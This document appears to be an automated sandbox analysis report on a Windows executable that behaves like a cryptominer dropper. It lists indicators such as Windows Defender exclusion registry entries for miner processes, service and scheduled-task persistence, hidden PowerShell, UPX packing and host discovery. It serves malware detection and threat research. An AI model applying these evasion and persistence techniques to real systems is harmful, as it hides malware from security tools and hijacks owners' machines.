40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa

Analysis

max time kernel
150s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
07/11/2026, 14:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe
Size 497KB
Sample261107-rt2bjsyyhs
SHA256 40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa
MD5 8f66b94e8d3855e10e9d9b32ea1f54eb
SHA1 2b71c58baee241244a79eba9b9e19ad47e821537
SHA512 2e012def7d18c5dc4e78827d337568607bd290698f2f1996d4650344d742909084c07a5fa15ff057b21b6ea37adb066ebb96fdd6747b9eb2a9119b5d2b4ff351
SSDEEP 3072:4oAc8Ad/ITi7XJ1gqNrflj1cDual/+RiY6p0sTAzmBwNUdWGX+ceu+F+ScADcAsi:4oAcnd/ITczFNj1cnN+WcsBWWex0
TLSH
T112B420465E0BC8DDEBE2947460FAC4F492317D8C49E5908E2CD7B7E8A17C06E2167D2B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence trojan upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3208	powershell.exe
2104	powershell.exe
1004	powershell.exe
2976	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
7	968	FleetComputeM4Service.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 15 IoCs

pid	Process
968	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
3136	FleetComputeM4Service.exe
4716	FleetComputeM4Service.exe
3484	updater.exe
1060	FleetComputeM4Service.exe
2464	FleetComputeM4Service.exe
5060	fc-m4.exe
1844	fc-m4.exe
1648	fc-m4.exe
4000	fc-m4.exe
856	fc-m4.exe
4608	fc-m4.exe
680	fc-m4.exe
1496	fc-m4.exe

Windows security bypass 2 TTPs 16 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\bzminer.exe = "0"	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\fc-m4.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\krig-miner.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\FleetComputeM4Service.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\FleetComputeM4\bin = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\FleetComputeM4Service.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\bzminer.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\FleetComputeM4\bin = "0"	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\FleetComputeM4 = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\fc-m4.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\krig-miner.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\FleetComputeM4 = "0"	FleetComputeM4Service.exe

Windows security modification 2 TTPs 17 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\fc-m4.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\bzminer.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\krig-miner.exe = "0"	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\FleetComputeM4 = "0"	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\FleetComputeM4\bin = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\bzminer.exe = "0"	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\FleetComputeM4Service.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\fc-m4.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\FleetComputeM4\bin = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\FleetComputeM4Service.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\krig-miner.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\FleetComputeM4 = "0"	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	FleetComputeM4Service.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

UPX packed file 12 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00050000000006d3-179.dat	upx
behavioral1/memory/5060-183-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp	upx
behavioral1/memory/1648-188-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp	upx
behavioral1/memory/5060-186-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp	upx
behavioral1/memory/1844-189-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp	upx
behavioral1/memory/4000-198-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp	upx
behavioral1/memory/856-204-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp	upx
behavioral1/memory/1844-206-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp	upx
behavioral1/memory/5060-208-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp	upx
behavioral1/memory/1496-223-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp	upx
behavioral1/memory/680-224-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp	upx
behavioral1/memory/4608-225-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp	upx

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1248	sc.exe
1316	sc.exe
3844	sc.exe
4544	sc.exe
4608	sc.exe
2624	sc.exe

Direct Volume Access: Opens a physical disk for reading 1 TTPs 8 IoCs

Opens a raw handle to a physical disk, which bypasses file system access controls and is used for disk inspection, anti-VM checks and privilege checks.

defense_evasion

Direct Volume Access

T1006

description	ioc	Process
File opened (read-only)	\??\PHYSICALDRIVE0	updater.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeM4Service.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeM4Service.exe
File opened (read-only)	\??\PHYSICALDRIVE0	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeM4Service.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeM4Service.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeM4Service.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeM4Service.exe

Executes a command shell one-liner 1 TTPs 21 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4288	cmd.exe
4032	cmd.exe
512	cmd.exe
2852	cmd.exe
544	cmd.exe
2956	cmd.exe
1208	cmd.exe
3120	cmd.exe
1664	cmd.exe
2480	cmd.exe
664	cmd.exe
1152	cmd.exe
4796	cmd.exe
3344	cmd.exe
2380	cmd.exe
2588	cmd.exe
3728	cmd.exe
2732	cmd.exe
3444	cmd.exe
4280	cmd.exe
4308	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 16 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	fc-m4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	fc-m4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	fc-m4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	fc-m4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	fc-m4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	fc-m4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	fc-m4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	fc-m4.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
556	WMIC.exe
1900	WMIC.exe

Enumerates system info in registry 2 TTPs 16 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeM4Service.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeM4Service.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeM4Service.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeM4Service.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeM4Service.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeM4Service.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1336	schtasks.exe
2116	schtasks.exe
2616	schtasks.exe
4068	schtasks.exe
4416	schtasks.exe
2128	schtasks.exe
1412	schtasks.exe
1912	schtasks.exe
1444	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
3208	powershell.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
2104	powershell.exe
3208	powershell.exe
2104	powershell.exe
3956	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
1004	powershell.exe
2976	powershell.exe
1004	powershell.exe
2976	powershell.exe
3956	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
3956	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
3484	updater.exe
3484	updater.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe
968	FleetComputeM4Service.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1900	WMIC.exe
Token: SeSecurityPrivilege	1900	WMIC.exe
Token: SeTakeOwnershipPrivilege	1900	WMIC.exe
Token: SeLoadDriverPrivilege	1900	WMIC.exe
Token: SeSystemProfilePrivilege	1900	WMIC.exe
Token: SeSystemtimePrivilege	1900	WMIC.exe
Token: SeProfSingleProcessPrivilege	1900	WMIC.exe
Token: SeIncBasePriorityPrivilege	1900	WMIC.exe
Token: SeCreatePagefilePrivilege	1900	WMIC.exe
Token: SeBackupPrivilege	1900	WMIC.exe
Token: SeRestorePrivilege	1900	WMIC.exe
Token: SeShutdownPrivilege	1900	WMIC.exe
Token: SeDebugPrivilege	1900	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1900	WMIC.exe
Token: SeRemoteShutdownPrivilege	1900	WMIC.exe
Token: SeUndockPrivilege	1900	WMIC.exe
Token: SeManageVolumePrivilege	1900	WMIC.exe
Token: 33	1900	WMIC.exe
Token: 34	1900	WMIC.exe
Token: 35	1900	WMIC.exe
Token: 36	1900	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	556	WMIC.exe
Token: SeIncreaseQuotaPrivilege	556	WMIC.exe
Token: SeSecurityPrivilege	556	WMIC.exe
Token: SeTakeOwnershipPrivilege	556	WMIC.exe
Token: SeLoadDriverPrivilege	556	WMIC.exe
Token: SeSystemtimePrivilege	556	WMIC.exe
Token: SeBackupPrivilege	556	WMIC.exe
Token: SeRestorePrivilege	556	WMIC.exe
Token: SeShutdownPrivilege	556	WMIC.exe
Token: SeSystemEnvironmentPrivilege	556	WMIC.exe
Token: SeUndockPrivilege	556	WMIC.exe
Token: SeManageVolumePrivilege	556	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	556	WMIC.exe
Token: SeIncreaseQuotaPrivilege	556	WMIC.exe
Token: SeSecurityPrivilege	556	WMIC.exe
Token: SeTakeOwnershipPrivilege	556	WMIC.exe
Token: SeLoadDriverPrivilege	556	WMIC.exe
Token: SeSystemtimePrivilege	556	WMIC.exe
Token: SeBackupPrivilege	556	WMIC.exe
Token: SeRestorePrivilege	556	WMIC.exe
Token: SeShutdownPrivilege	556	WMIC.exe
Token: SeSystemEnvironmentPrivilege	556	WMIC.exe
Token: SeUndockPrivilege	556	WMIC.exe
Token: SeManageVolumePrivilege	556	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1900	WMIC.exe
Token: SeSecurityPrivilege	1900	WMIC.exe
Token: SeTakeOwnershipPrivilege	1900	WMIC.exe
Token: SeLoadDriverPrivilege	1900	WMIC.exe
Token: SeSystemProfilePrivilege	1900	WMIC.exe
Token: SeSystemtimePrivilege	1900	WMIC.exe
Token: SeProfSingleProcessPrivilege	1900	WMIC.exe
Token: SeIncBasePriorityPrivilege	1900	WMIC.exe
Token: SeCreatePagefilePrivilege	1900	WMIC.exe
Token: SeBackupPrivilege	1900	WMIC.exe
Token: SeRestorePrivilege	1900	WMIC.exe
Token: SeShutdownPrivilege	1900	WMIC.exe
Token: SeDebugPrivilege	1900	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1900	WMIC.exe
Token: SeRemoteShutdownPrivilege	1900	WMIC.exe
Token: SeUndockPrivilege	1900	WMIC.exe
Token: SeManageVolumePrivilege	1900	WMIC.exe
Token: 33	1900	WMIC.exe
Token: 34	1900	WMIC.exe

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 688 wrote to memory of 4280	688	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	85
PID 4280 wrote to memory of 2128	4280	cmd.exe	87
PID 688 wrote to memory of 4308	688	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	88
PID 4308 wrote to memory of 3780	4308	cmd.exe	90
PID 688 wrote to memory of 2852	688	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	92
PID 2852 wrote to memory of 1412	2852	cmd.exe	94
